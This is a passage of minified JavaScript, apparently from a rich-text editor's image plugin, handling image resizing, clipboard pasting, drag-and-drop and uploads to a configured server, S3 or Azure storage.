o=[];for(t=0;t<s.length;t++)o.push(s[t].getAttribute("src"));for(t=0;t<a.length;t++)o.indexOf(a[t].getAttribute("src"))<0&&A.events.trigger("image.loaded",[S(a[t])])}s=a}function x(){if(p||function o(){var e;A.shared.$image_resizer?(p=A.shared.$image_resizer,g=A.shared.$img_overlay,A.events.on("destroy",function(){S("body").first().append(p.removeClass("fr-active"))},!0)):(A.shared.$image_resizer=S(document.createElement("div")).attr("class","fr-image-resizer"),p=A.shared.$image_resizer,A.events.$on(p,"mousedown",function(e){e.stopPropagation()},!0),A.opts.imageResize&&(p.append(y("nw")+y("ne")+y("sw")+y("se")),A.shared.$img_overlay=S(document.createElement("div")).attr("class","fr-image-overlay"),g=A.shared.$img_overlay,e=p.get(0).ownerDocument,S(e).find("body").first().append(g)));A.events.on("shared.destroy",function(){p.html("").removeData().remove(),p=null,A.opts.imageResize&&(g.remove(),g=null)},!0),A.helpers.isMobile()||A.events.$on(S(A.o_win),"resize",function(){C&&!C.hasClass("fr-uploading")?ce(!0):C&&(x(),ye(),P(!1))});if(A.opts.imageResize){e=p.get(0).ownerDocument,A.events.$on(p,A._mousedown,".fr-handler",D),A.events.$on(S(e),A._mousemove,T),A.events.$on(S(e.defaultView||e.parentWindow),A._mouseup,$),A.events.$on(g,"mouseleave",$);var i=1,r=null,n=0;A.events.on("keydown",function(e){if(C){var t=-1!=navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey,a=e.which;(a!==r||200<e.timeStamp-n)&&(i=1),(a==Me.KEYCODE.EQUALS||A.browser.mozilla&&a==Me.KEYCODE.FF_EQUALS)&&t&&!e.altKey?i=te.call(this,e,1,1,i):(a==Me.KEYCODE.HYPHEN||A.browser.mozilla&&a==Me.KEYCODE.FF_HYPHEN)&&t&&!e.altKey?i=te.call(this,e,2,-1,i):A.keys.ctrlKey(e)||a!=Me.KEYCODE.ENTER||(C.before("<br>"),z(C)),r=a,n=e.timeStamp}},!0),A.events.on("keyup",function(){i=1})}}(),!C)return!1;var e=A.$wp||A.$sc;e.append(p),p.data("instance",A);var t=e.scrollTop()-("static"!=e.css("position")?e.offset().top:0),a=e.scrollLeft()-("static"!=e.css("position")?e.offset().left:0);a-=A.helpers.getPX(e.css("border-left-width")),t-=A.helpers.getPX(e.css("border-top-width")),A.$el.is("img")&&A.$sc.is("body")&&(a=t=0);var i=Ce();Se()&&(i=i.find(".fr-img-wrap"));var r=0,n=0;A.opts.iframe&&(r=A.helpers.getPX(A.$wp.find(".fr-iframe").css("padding-top")),n=A.helpers.getPX(A.$wp.find(".fr-iframe").css("padding-left"))),p.css("top",(A.opts.iframe?i.offset().top+r:i.offset().top+t)-1).css("left",(A.opts.iframe?i.offset().left+n:i.offset().left+a)-1).css("width",i.get(0).getBoundingClientRect().width).css("height",i.get(0).getBoundingClientRect().height).addClass("fr-active")}function y(e){return'<div class="fr-handler fr-h'.concat(e,'"></div>')}function w(e){Se()&&C.parents(".fr-img-caption").css("width",e),C.css("width",e)}function D(e){if(!A.core.sameInstance(p))return!0;if(e.preventDefault(),e.stopPropagation(),A.$el.find("img.fr-error").left)return!1;A.undo.canDo()||A.undo.saveStep();var t=e.pageX||e.originalEvent.touches[0].pageX;if("mousedown"==e.type){var a=A.$oel.get(0),i=a.ownerDocument,r=i.defaultView||i.parentWindow,n=!1;try{n=r.location!=r.parent.location&&!(r.$&&r.$.FE)}catch(l){}n&&r.frameElement&&(t+=A.helpers.getPX(S(a).offset().left)+r.frameElement.clientLeft)}(f=S(this)).data("start-x",t),f.data("start-width",C.width()),f.data("start-height",C.height());var o=C.width();if(A.opts.imageResizeWithPercent){var s=C.parentsUntil(A.$el,A.html.blockTagsQuery()).get(0)||A.el;o=(o/S(s).outerWidth()*100).toFixed(2)+"%"}w(o),g.show(),A.popups.hideAll(),me()}function T(e){if(!A.core.sameInstance(p))return!0;var t;if(f&&C){if(e.preventDefault(),A.$el.find("img.fr-error").left)return!1;var a=e.pageX||(e.originalEvent.touches?e.originalEvent.touches[0].pageX:null);if(!a)return!1;var i=a-f.data("start-x"),r=f.data("start-width");if((f.hasClass("fr-hnw")||f.hasClass("fr-hsw"))&&(i=0-i),A.opts.imageResizeWithPercent){var n=C.parentsUntil(A.$el,A.html.blockTagsQuery()).get(0)||A.el;r=((r+i)/S(n).outerWidth()*100).toFixed(2),A.opts.imageRoundPercent&&(r=Math.round(r)),w("".concat(r,"%")),(t=Se()?(A.helpers.getPX(C.parents(".fr-img-caption").css("width"))/S(n).outerWidth()*100).toFixed(2):(A.helpers.getPX(C.css("width"))/S(n).outerWidth()*100).toFixed(2))===r||A.opts.imageRoundPercent||w("".concat(t,"%")),C.css("height","").removeAttr("height")}else r+i>=A.opts.imageMinWidth&&(w(r+i),t=Se()?A.helpers.getPX(C.parents(".fr-img-caption").css("width")):A.helpers.getPX(C.css("width"))),t!==r+i&&w(t),((C.attr("style")||"").match(/(^height:)|(; *height:)/)||C.attr("height"))&&(C.css("height",f.data("start-height")*C.width()/f.data("start-width")),C.removeAttr("height"));x(),A.events.trigger("image.resize",[Ae()])}}function $(e){if(!A.core.sameInstance(p))return!0;if(f&&C){if(e&&e.stopPropagation(),A.$el.find("img.fr-error").left)return!1;f=null,g.hide(),x(),n(),A.undo.saveStep(),A.events.trigger("image.resizeEnd",[Ae()])}else p.removeClass("fr-active")}function I(e,t,a){A.edit.on(),C&&C.addClass("fr-error"),r[e]?O(A.language.translate(r[e])):O(A.language.translate("Something went wrong. Please try again.")),!C&&a&&ae(a),A.events.trigger("image.error",[{code:e,message:r[e]},t,a])}function N(e){if(e)return A.$wp&&A.events.$on(A.$wp,"scroll.image-edit",function(){C&&A.popups.isVisible("image.edit")&&(A.events.disableBlur(),n())}),!0;var t="";if(0<A.opts.imageEditButtons.length){var a={buttons:t+='<div class="fr-buttons">\n '.concat(A.button.buildList(A.opts.imageEditButtons),"\n </div>")};return A.popups.create("image.edit",a)}return!1}function P(e){var t=A.popups.get("image.insert");if(t||(t=X()),t.find(".fr-layer.fr-active").removeClass("fr-active").addClass("fr-pactive"),t.find(".fr-image-progress-bar-layer").addClass("fr-active"),t.find(".fr-buttons").hide(),C){var a=Ce();A.popups.setContainer("image.insert",A.$sc);var i=a.offset().left,r=a.offset().top+a.height();A.popups.show("image.insert",i,r,a.outerHeight())}void 0===e&&B(A.language.translate("Uploading"),0)}function k(e){var t=A.popups.get("image.insert");if(t&&(t.find(".fr-layer.fr-pactive").addClass("fr-active").removeClass("fr-pactive"),t.find(".fr-image-progress-bar-layer").removeClass("fr-active"),t.find(".fr-buttons").show(),e||A.$el.find("img.fr-error").length)){if(A.events.focus(),A.$el.find("img.fr-error").length&&(A.$el.find("img.fr-error").remove(),A.undo.saveStep(),A.undo.run(),A.undo.dropRedo()),!A.$wp&&C){var a=C;ce(!0),A.selection.setAfter(a.get(0)),A.selection.restore()}A.popups.hide("image.insert")}}function B(e,t){var a=A.popups.get("image.insert");if(a){var i=a.find(".fr-image-progress-bar-layer");i.find("h3").text(e+(t?" ".concat(t,"%"):"")),i.removeClass("fr-error"),t?(i.find("div").removeClass("fr-indeterminate"),i.find("div > span").css("width","".concat(t,"%"))):i.find("div").addClass("fr-indeterminate")}}function O(e){P();var t=A.popups.get("image.insert").find(".fr-image-progress-bar-layer");t.addClass("fr-error");var a=t.find("h3");a.text(e),A.events.disableBlur(),a.focus()}function z(e){ge.call(e.get(0))}function L(){var e=S(this);A.popups.hide("image.insert"),e.removeClass("fr-uploading"),e.next().is("br")&&e.next().remove(),z(e),A.events.trigger("image.loaded",[e])}function _(o,e,s,l,p){l&&"string"==typeof l&&(l=A.$(l)),A.edit.off(),B(A.language.translate("Loading image")),e&&(o=A.helpers.sanitizeURL(o));var t=new Image;t.onload=function(){var e,t;if(l){A.undo.canDo()||l.hasClass("fr-uploading")||A.undo.saveStep();var a=l.data("fr-old-src");l.data("fr-image-pasted")&&(a=null),A.$wp?((e=l.clone().removeData("fr-old-src").removeClass("fr-uploading").removeAttr("data-fr-image-pasted")).off("load"),a&&l.attr("src",a),!A.opts.trackChangesEnabled||l[0].parentNode&&"SPAN"===l[0].parentNode.tagName&&l[0].parentNode.hasAttribute("data-tracking")||A.track_changes.replaceSpecialItem(l),l.replaceWith(e)):e=l;for(var i=e.get(0).attributes,r=0;r<i.length;r++){var n=i[r];0===n.nodeName.indexOf("data-")?e.removeAttr(n.nodeName):s&&s.hasOwnProperty(n.nodeName)&&e.removeAttr(n.nodeName)}if(void 0!==s)for(t in s)s.hasOwnProperty(t)&&"link"!=t&&e.attr("".concat(t),s[t]);e.on("load",L),e.attr("src",o),A.edit.on(),b(!1),l[0].src!=o&&A.selection.restore(),A.undo.saveStep(),A.events.disableBlur(),A.$el.blur(),A.events.trigger(a?"image.replaced":"image.inserted",[e,p])}else(e=W(o,s,L))&&(b(!1),A.undo.saveStep(),A.events.disableBlur(),A.$el.blur(),A.events.trigger("image.inserted",[e,p]))},t.onerror=function(){I(i)},P(A.language.translate("Loading image")),t.src=o}function M(e,t,a){B(A.language.translate("Loading image"));var i=this.status,r=this.response,n=this.responseXML,o=this.responseText;try{if(A.opts.imageUploadToS3||A.opts.imageUploadToAzure)if(201==i){var s;if(A.opts.imageUploadToAzure){if(!1===A.events.trigger("image.uploadedToAzure",[this.responseURL,a,r],!0))return A.edit.on(),!1;s=t}else s=function p(e){try{var t=S(e).find("Location").text(),a=S(e).find("Key").text();return!1===A.events.trigger("image.uploadedToS3",[t,a,e],!0)?(A.edit.on(),!1):t}catch(i){return I(u,e),!1}}(n);s&&_(s,!1,[],e,r||n)}else I(u,r||n,e);else if(200<=i&&i<300){var l=function f(e){try{if(!1===A.events.trigger("image.uploaded",[e],!0))return A.edit.on(),!1;var t=JSON.parse(e);return t.link?t:(I(c,e),!1)}catch(a){return I(u,e),!1}}(o);l&&_(l.link,!1,l,e,r||o)}else I(d,r||o,e)}catch(g){I(u,r||o,e)}}function K(){I(u,this.response||this.responseText||this.responseXML)}function Y(e){if(e.lengthComputable){var t=e.loaded/e.total*100|0;B(A.language.translate("Uploading"),t)}}function W(e,t,a){var i,r=S(document.createElement("img")).attr("src",e);if(t&&void 0!==t)for(i in t)t.hasOwnProperty(i)&&"link"!=i&&(" data-".concat(i,'="').concat(t[i],'"'),r.attr("".concat(i),t[i]));var n=A.opts.imageDefaultWidth;n&&"auto"!=n&&(n=A.opts.imageResizeWithPercent?"100%":"".concat(n,"px")),r.attr("style",n?"width: ".concat(n,";"):""),he(r,A.opts.imageDefaultDisplay,A.opts.imageDefaultAlign),r.on("load",a),r.on("error",a),A.edit.on(),A.events.focus(!0),A.selection.restore(),A.undo.saveStep(),A.opts.imageSplitHTML?A.markers.split():A.markers.insert(),A.html.wrap();var o=A.$el.find(".fr-marker");if(o.length)(o.parent().is("hr")||o.parent().is("IMG"))&&o.parent().after(o),A.node.isLastSibling(o)&&o.parent().hasClass("fr-deletable")&&o.insertAfter(o.parent()),o.replaceWith(r);else{if(A.opts.trackChangesEnabled)return k(!0),!1;A.$el.append(r)}return A.selection.clear(),r}function G(){A.edit.on(),k(!0)}function H(e,t){if(void 0!==e&&0<e.length){if(!1===A.events.trigger("image.beforeUpload",[e,t]))return!1;var a,i=e[0];if(!(null!==A.opts.imageUploadURL&&A.opts.imageUploadURL!=E||A.opts.imageUploadToS3||A.opts.imageUploadToAzure))return function y(r,n){var o=new FileReader;o.onload=function(){var e=o.result;if(o.result.indexOf("svg+xml")<0){for(var t=atob(o.result.split(",")[1]),a=[],i=0;i<t.length;i++)a.push(t.charCodeAt(i));e=window.URL.createObjectURL(new Blob([new Uint8Array(a)],{type:r.type})),n&&n.data("fr-old-src",n.attr("src")),A.image.insert(e,!1,null,n)}else A.image.insert(e,null,null,A.image.get())},P(),o.readAsDataURL(r)}(i,t||C),!1;if(i.name||(i.name=(new Date).getTime()+"."+(i.type||"image/jpeg").replace(/image\//g,"")),i.size>A.opts.imageMaxSize)return I(R),!1;if(A.opts.imageAllowedTypes.indexOf(i.type.replace(/image\//g,""))<0)return I(U),!1;if(A.drag_support.formdata&&(a=A.drag_support.formdata?new FormData:null),a){var r;if(!1!==A.opts.imageUploadToS3)for(r in a.append("key",A.opts.imageUploadToS3.keyStart+(new Date).getTime()+"-"+(i.name||"untitled")),a.append("success_action_status","201"),a.append("X-Requested-With","xhr"),a.append("Content-Type",i.type),A.opts.imageUploadToS3.params)A.opts.imageUploadToS3.params.hasOwnProperty(r)&&a.append(r,A.opts.imageUploadToS3.params[r]);for(r in A.opts.imageUploadParams)A.opts.imageUploadParams.hasOwnProperty(r)&&a.append(r,A.opts.imageUploadParams[r]);a.append(A.opts.imageUploadParam,i,i.name);var n,o,s=A.opts.imageUploadURL,l=A.opts.imageUploadMethod;A.opts.imageUploadToS3&&(s=A.opts.imageUploadToS3.uploadURL?A.opts.imageUploadToS3.uploadURL:"https://".concat(A.opts.imageUploadToS3.region,".amazonaws.com/").concat(A.opts.imageUploadToS3.bucket)),A.opts.imageUploadToAzure&&(n=s=A.opts.imageUploadToAzure.uploadURL?"".concat(A.opts.imageUploadToAzure.uploadURL,"/").concat(i.name):encodeURI("https://".concat(A.opts.imageUploadToAzure.account,".blob.core.windows.net/").concat(A.opts.imageUploadToAzure.container,"/").concat(i.name)),A.opts.imageUploadToAzure.SASToken&&(s+=A.opts.imageUploadToAzure.SASToken),l="PUT");var p=A.core.getXHR(s,l);if(A.opts.imageUploadToAzure){var f=(new Date).toUTCString();if(!A.opts.imageUploadToAzure.SASToken&&A.opts.imageUploadToAzure.accessKey){var g=A.opts.imageUploadToAzure.account,c=A.opts.imageUploadToAzure.container;if(A.opts.imageUploadToAzure.uploadURL){var d=A.opts.imageUploadToAzure.uploadURL.split("/");c=d.pop(),g=d.pop().split(".")[0]}var u="x-ms-blob-type:BlockBlob\nx-ms-date:".concat(f,"\nx-ms-version:2019-07-07"),m=encodeURI("/"+g+"/"+c+"/"+i.name),h=l+"\n\n\n"+i.size+"\n\n"+i.type+"\n\n\n\n\n\n\n"+u+"\n"+m,v=A.cryptoJSPlugin.cryptoJS.HmacSHA256(h,A.cryptoJSPlugin.cryptoJS.enc.Base64.parse(A.opts.imageUploadToAzure.accessKey)).toString(A.cryptoJSPlugin.cryptoJS.enc.Base64),b="SharedKey "+g+":"+v;o=v,p.setRequestHeader("Authorization",b)}for(r in p.setRequestHeader("x-ms-version","2019-07-07"),p.setRequestHeader("x-ms-date",f),p.setRequestHeader("Content-Type",i.type),p.setRequestHeader("x-ms-blob-type","BlockBlob"),A.opts.imageUploadParams)A.opts.imageUploadParams.hasOwnProperty(r)&&p.setRequestHeader(r,A.opts.imageUploadParams[r]);for(r in A.opts.imageUploadToAzure.params)A.opts.imageUploadToAzure.params.hasOwnProperty(r)&&p.setRequestHeader(r,A.opts.imageUploadToAzure.params[r])}!function w(t,a,i,r,n,o){function s(){var e=S(this);e.off("load"),e.addClass("fr-uploading"),e.next().is("br")&&e.next().remove(),A.placeholder.refresh(),z(e),x(),P(),A.edit.off(),t.onload=function(){M.call(t,e,n,o)},t.onerror=K,t.upload.onprogress=Y,t.onabort=G,S(e.off("abortUpload")).on("abortUpload",function(){4!=t.readyState&&(t.abort(),r?(r.attr("src",r.data("fr-old-src")),r.removeClass("fr-uploading")):e.remove(),ce(!0))}),t.send(A.opts.imageUploadToAzure?i:a)}var l=new FileReader;l.onload=function(){var e=l.result;if(l.result.indexOf("svg+xml")<0){for(var t=atob(l.result.split(",")[1]),a=[],i=0;i<t.length;i++)a.push(t.charCodeAt(i));e=window.URL.createObjectURL(new Blob([new Uint8Array(a)],{type:"image/jpeg"}))}r?(r.on("load",s),r.on("error",function(){s(),S(this).off("error")}),A.edit.on(),A.undo.saveStep(),r.data("fr-old-src",r.attr("src")),r.attr("src",e)):W(e,null,s)},l.readAsDataURL(i)}(p,a,i,t||C,n,o)}}}function F(e){if(e.is("img")&&0<e.parents(".fr-img-caption").length)return e.parents(".fr-img-caption")}function V(e){var t=e.originalEvent.dataTransfer;if(t&&t.files&&t.files.length){var a=t.files[0];if(a&&a.type&&-1!==a.type.indexOf("image")&&0<=A.opts.imageAllowedTypes.indexOf(a.type.replace(/image\//g,""))){if(!A.opts.imageUpload)return e.preventDefault(),e.stopPropagation(),!1;A.markers.remove(),A.markers.insertAtPoint(e.originalEvent),A.$el.find(".fr-marker").replaceWith(Me.MARKERS),0===A.$el.find(".fr-marker").length&&A.selection.setAtEnd(A.el),A.popups.hideAll();var i=A.popups.get("image.insert");i||(i=X()),A.popups.setContainer("image.insert",A.$sc);var r=e.originalEvent.pageX,n=e.originalEvent.pageY;if(A.opts.iframe){var o=A.helpers.getPX(A.$wp.find(".fr-iframe").css("padding-top")),s=A.helpers.getPX(A.$wp.find(".fr-iframe").css("padding-left"));n+=A.$iframe.offset().top+o,r+=A.$iframe.offset().left+s}return A.popups.show("image.insert",r,n),P(),0<=A.opts.imageAllowedTypes.indexOf(a.type.replace(/image\//g,""))?(ce(!0),H(t.files)):I(U),e.preventDefault(),e.stopPropagation(),!1}}}function X(e){if(e)return A.popups.onRefresh("image.insert",m),A.popups.onHide("image.insert",h),!0;var t,a,i="";A.opts.imageUpload||-1===A.opts.imageInsertButtons.indexOf("imageUpload")||A.opts.imageInsertButtons.splice(A.opts.imageInsertButtons.indexOf("imageUpload"),1);var r=A.button.buildList(A.opts.imageInsertButtons);""!==r&&(i='<div class="fr-buttons fr-tabs">'.concat(r,"</div>"));var n=A.opts.imageInsertButtons.indexOf("imageUpload"),o=A.opts.imageInsertButtons.indexOf("imageByURL"),s="";0<=n&&(t=" fr-active",0<=o&&o<n&&(t=""),s='<div class="fr-image-upload-layer'.concat(t,' fr-layer" id="fr-image-upload-layer-').concat(A.id,'"><strong>').concat(A.language.translate("Drop image"),"</strong><br>(").concat(A.language.translate("or click"),')<div class="fr-form"><input type="file" accept="image/').concat(A.opts.imageAllowedTypes.join(", image/").toLowerCase(),'" tabIndex="-1" aria-labelledby="fr-image-upload-layer-').concat(A.id,'" role="button"></div></div>'));var l="";0<=o&&(t=" fr-active",0<=n&&n<o&&(t=""),l='<div class="fr-image-by-url-layer'.concat(t,' fr-layer" id="fr-image-by-url-layer-').concat(A.id,'"><div class="fr-input-line"><input id="fr-image-by-url-layer-text-').concat(A.id,'" type="text" placeholder="http://" tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageInsertByURL" tabIndex="2" role="button">').concat(A.language.translate("Insert"),"</button></div></div>"));var p={buttons:i,upload_layer:s,by_url_layer:l,progress_bar:'<div class="fr-image-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="imageDismissError" tabIndex="2" role="button">OK</button></div></div>'};return 1<=A.opts.imageInsertButtons.length&&(a=A.popups.create("image.insert",p)),A.$wp&&A.events.$on(A.$wp,"scroll",function(){C&&A.popups.isVisible("image.insert")&&ye()}),function f(i){A.events.$on(i,"dragover dragenter",".fr-image-upload-layer",function(e){return S(this).addClass("fr-drop"),(A.browser.msie||A.browser.edge)&&e.preventDefault(),!1},!0),A.events.$on(i,"dragleave dragend",".fr-image-upload-layer",function(e){return S(this).removeClass("fr-drop"),(A.browser.msie||A.browser.edge)&&e.preventDefault(),!1},!0),A.events.$on(i,"drop",".fr-image-upload-layer",function(e){e.preventDefault(),e.stopPropagation(),S(this).removeClass("fr-drop");var t=e.originalEvent.dataTransfer;if(t&&t.files){var a=i.data("instance")||A;a.events.disableBlur(),a.image.upload(t.files),a.events.enableBlur()}},!0),A.helpers.isIOS()&&A.events.$on(i,"touchstart",'.fr-image-upload-layer input[type="file"]',function(){S(this).trigger("click")},!0),A.events.$on(i,"change",'.fr-image-upload-layer input[type="file"]',function(){if(this.files){var e=i.data("instance")||A;e.events.disableBlur(),i.find("input:focus").blur(),e.events.enableBlur(),e.image.upload(this.files,C)}S(this).val("")},!0)}(a),a}function q(){C&&A.popups.get("image.alt").find("input").val(C.attr("alt")||"").trigger("change")}function j(){var e=A.popups.get("image.alt");e||(e=J()),k(),A.popups.refresh("image.alt"),A.popups.setContainer("image.alt",A.$sc);var t=Ce(),a=t.outerWidth()/2;Se()&&(t=t.find(".fr-img-wrap"),a=C.outerWidth()/2);var i=t.offset().left+a,r=t.offset().top+t.outerHeight(),n=t.outerHeight();A.opts.iframe&&Se()&&(n=C?C.outerHeight():0),A.popups.show("image.alt",i,r,n,!0)}function J(e){if(e)return A.popups.onRefresh("image.alt",q),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(A.button.buildList(A.opts.imageAltButtons),"</div>"),alt_layer:'<div class="fr-image-alt-layer fr-layer fr-active" id="fr-image-alt-layer-'.concat(A.id,'"><div class="fr-input-line"><input id="fr-image-alt-layer-text-').concat(A.id,'" type="text" placeholder="').concat(A.language.translate("Alternative Text"),'" tabIndex="1"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageSetAlt" tabIndex="2" role="button">').concat(A.language.translate("Update"),"</button></div></div>")},a=A.popups.create("image.alt",t);return A.$wp&&A.events.$on(A.$wp,"scroll.image-alt",function(){C&&A.popups.isVisible("image.alt")&&j()}),a}function Q(){var e=A.popups.get("image.size"),t=C.get(0).style.height?C.get(0).style.height:"auto",a=C.get(0).style.width?C.get(0).style.width:"auto";if(C)if(Se()){var i=C.parent();i.get(0).style.width||(i=C.parent().parent()),e.find('input[name="width"]').val(a).trigger("change"),e.find('input[name="height"]').val(t).trigger("change")}else e.find('input[name="width"]').val(a).trigger("change"),e.find('input[name="height"]').val(t).trigger("change")}function Z(){var e=A.popups.get("image.size");e||(e=ee()),k(),A.popups.refresh("image.size"),A.popups.setContainer("image.size",A.$sc);var t=Ce(),a=t.outerWidth()/2;Se()&&(t=t.find(".fr-img-wrap"),a=C.outerWidth()/2);var i=t.outerHeight();A.opts.iframe&&Se()&&(i=C?C.outerHeight():0);var r=t.offset().left+a,n=t.offset().top+t.outerHeight();A.popups.show("image.size",r,n,i,!0)}function ee(e){if(e)return A.popups.onRefresh("image.size",Q),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(A.button.buildList(A.opts.imageSizeButtons),"</div>"),size_layer:'<div class="fr-image-size-layer fr-layer fr-active" id="fr-image-size-layer-'.concat(A.id,'"><div class="fr-image-group"><div class="fr-input-line"><input id="fr-image-size-layer-width-\'').concat(A.id,'" type="text" name="width" placeholder="').concat(A.language.translate("Width"),'" tabIndex="1"></div><div class="fr-input-line"><input id="fr-image-size-layer-height').concat(A.id,'" type="text" name="height" placeholder="').concat(A.language.translate("Height"),'" tabIndex="1"></div></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageSetSize" tabIndex="2" role="button">').concat(A.language.translate("Update"),"</button></div></div>")},a=A.popups.create("image.size",t);return A.$wp&&A.events.$on(A.$wp,"scroll.image-size",function(){C&&A.popups.isVisible("image.size")&&Z()}),a}function te(e,t,a,i){return e.pageX=t,D.call(this,e),e.pageX=e.pageX+a*Math.floor(Math.pow(1.1,i)),T.call(this,e),$.call(this,e),++i}function ae(e){if(e=e||Ce(),A.opts.trackChangesEnabled&&!A.helpers.isMobile()&&(!e[0].parentNode||"SPAN"!==e[0].parentNode.tagName||!e[0].parentNode.hasAttribute("data-tracking")))return A.track_changes.removeSpecialItem(e),A.popups.hideAll(),void ce(!0);e&&!1!==A.events.trigger("image.beforeRemove",[e])&&(A.popups.hideAll(),we(),ce(!0),A.undo.canDo()||A.undo.saveStep(),e.get(0)==A.el?e.removeAttr("src"):(e.get(0).parentNode&&"A"==e.get(0).parentNode.tagName?(A.selection.setBefore(e.get(0).parentNode)||A.selection.setAfter(e.get(0).parentNode)||e.parent().after(Me.MARKERS),S(e.get(0).parentNode).remove()):(A.selection.setBefore(e.get(0))||A.selection.setAfter(e.get(0))||e.after(Me.MARKERS),e.remove()),A.html.fillEmptyBlocks(),A.selection.restore()),A.undo.saveStep())}function ie(e){var t=e.which,a=document.getElementsByClassName("fs-transforms-container"),i=!1;if(a&&a.length){var r,n=Ke(a);try{for(n.s();!(r=n.n()).done;){var o=r.value;o.childNodes&&o.childNodes.length&&(i=!0)}}catch(p){n.e(p)}finally{n.f()}}if(i&&(C=null),C&&(t==Me.KEYCODE.BACKSPACE||t==Me.KEYCODE.DELETE))return e.preventDefault(),e.stopPropagation(),ae(),!1;if(C&&t==Me.KEYCODE.ESC){var s=C;return ce(!0),A.selection.setAfter(s.get(0)),A.selection.restore(),e.preventDefault(),!1}if(!C||t!=Me.KEYCODE.ARROW_LEFT&&t!=Me.KEYCODE.ARROW_RIGHT)return C&&t===Me.KEYCODE.TAB?(e.preventDefault(),e.stopPropagation(),ce(!0),!1):C&&t!=Me.KEYCODE.F10&&!A.keys.isBrowserAction(e)?(e.preventDefault(),e.stopPropagation(),!1):void 0;var l=C.get(0);return ce(!0),t==Me.KEYCODE.ARROW_LEFT?A.selection.setBefore(l):A.selection.setAfter(l),A.selection.restore(),e.preventDefault(),!1}function re(e){if(e&&"IMG"==e.tagName){if(A.node.hasClass(e,"fr-uploading")||A.node.hasClass(e,"fr-error")?e.parentNode.removeChild(e):A.node.hasClass(e,"fr-draggable")&&e.classList.remove("fr-draggable"),e.parentNode&&e.parentNode.parentNode&&A.node.hasClass(e.parentNode.parentNode,"fr-img-caption")){var t=e.parentNode.parentNode;t.removeAttribute("contenteditable"),t.removeAttribute("draggable"),t.classList.remove("fr-draggable");var a=e.nextSibling;a&&a.removeAttribute("contenteditable")}}else if(e&&e.nodeType==Node.ELEMENT_NODE)for(var i=e.querySelectorAll("img.fr-uploading, img.fr-error, img.fr-draggable"),r=0;r<i.length;r++)re(i[r])}function ne(e){if(!1===A.events.trigger("image.beforePasteUpload",[e]))return S(e).removeAttr("data-fr-image-pasted"),!1;C=S(e),x(),n(),P(),C.on("load",function(){var t=[];x(),S(A.popups.get("image.insert").get(0)).find("div.fr-active.fr-error").length<1&&P(),S(this).data("events").filter(function(e){"load"===e[0]&&t.push(e)}),t.length<=1&&S(this).off("load")});for(var t=S(e).attr("src").split(","),a=atob(t[1]),i=[],r=0;r<a.length;r++)i.push(a.charCodeAt(r));H([A.browser.safari&&!A.opts.imageUploadURL?new Blob([new Uint8Array(i)],{type:t[0].replace(/data\:/g,"")}):new Blob([new Uint8Array(i)],{type:t[0].replace(/data\:/g,"").replace(/;base64/g,"")})],C)}function oe(){A.opts.imagePaste?A.$el.find("img[data-fr-image-pasted]").each(function(e,a){if(A.opts.imagePasteProcess){var t=A.opts.imageDefaultWidth;t&&"auto"!=t&&(t+=A.opts.imageResizeWithPercent?"%":"px"),S(a).css("width",t).removeClass("fr-dii fr-dib fr-fir fr-fil"),he(S(a),A.opts.imageDefaultDisplay,A.opts.imageDefaultAlign)}if(0===a.src.indexOf("data:"))ne(a);else if(0===a.src.indexOf("blob:")||0===a.src.indexOf("http")&&A.opts.imageUploadRemoteUrls&&A.opts.imageCORSProxy){var i=new Image;i.crossOrigin="Anonymous",i.onload=function(){var e=A.o_doc.createElement("CANVAS"),t=e.getContext("2d");e.height=this.naturalHeight,e.width=this.naturalWidth,t.drawImage(this,0,0),setTimeout(function(){ne(a)},0),a.src=e.toDataURL(Me.IMAGE_TYPE)},A.browser.msie&&Me.IMAGE_ALLOW_REGEX.test(a.src)&&(Me.IMAGE_TYPE="image/"+a.src.split(Me.IMAGE_ALLOW_REGEX)[1]),i.src=(0===a.src.indexOf("blob:")?"":"".concat(A.opts.imageCORSProxy,"/"))+a.src,0!==a.src.indexOf("blob:")&&A.undo.saveStep()}else 0!==a.src.indexOf("http")||0===a.src.indexOf("https://mail.google.com/mail")?(A.selection.save(),S(a).remove(),A.selection.restore()):S(a).removeAttr("data-fr-image-pasted")}):A.$el.find("img[data-fr-image-pasted]").remove()}function se(e){var t=e.target.result,a=A.opts.imageDefaultWidth;a&&"auto"!=a&&(a+=A.opts.imageResizeWithPercent?"%":"px"),A.undo.saveStep(),A.html.insert('<img data-fr-image-pasted="true" src="'.concat(t,'"').concat(a?' style="width: '.concat(a,';"'):"",">"));var i=A.$el.find('img[data-fr-image-pasted="true"]');i&&he(i,A.opts.imageDefaultDisplay,A.opts.imageDefaultAlign),A.events.trigger("paste.after")}function le(e,t){var a=new FileReader;a.onload=function i(e){var t=A.opts.imageDefaultWidth;t&&"auto"!=t&&(t+=A.opts.imageResizeWithPercent?"%":"px"),A.html.insert('<img data-fr-image-pasted="true" src="'.concat(e,'"').concat(t?' style="width: '.concat(t,';"'):"",">"));var a=A.$el.find('img[data-fr-image-pasted="true"]');a&&he(a,A.opts.imageDefaultDisplay,A.opts.imageDefaultAlign),A.events.trigger("paste.after")}(t),a.readAsDataURL(e,t)}function pe(e,t){var a=t||e&&e.clipboardData;if(a&&a.items){var i=(a||window.clipboardData).getData("text/html")||"";A.browser.mozilla&&(""===i||/<!--StartFragment-->([ ])<!--EndFragment-->/.test(i))&&(i=A.win.localStorage.getItem("fr-copied-html"));var r=(new DOMParser).parseFromString(i,"text/html").querySelector("img");if(r&&!A.opts.imageUploadURL){if(!r)return!1;var n=r.src,o=null;if(a.types&&-1!=[].indexOf.call(a.types,"text/rtf")||a.getData("text/rtf"))o=a.items[0].getAsFile();else for(var s=0;s<a.items.length;s++)if(o=a.items[s].getAsFile()){Me.IMAGE_TYPE=o.type;break}if(o)return le(o,n),!1}else{var l=null;if(a.types&&-1!=[].indexOf.call(a.types,"text/rtf")||a.getData("text/rtf"))l=a.items[0].getAsFile();else for(var p=0;p<a.items.length&&!(l=a.items[p].getAsFile());p++);if(l)return function f(e){var t=new 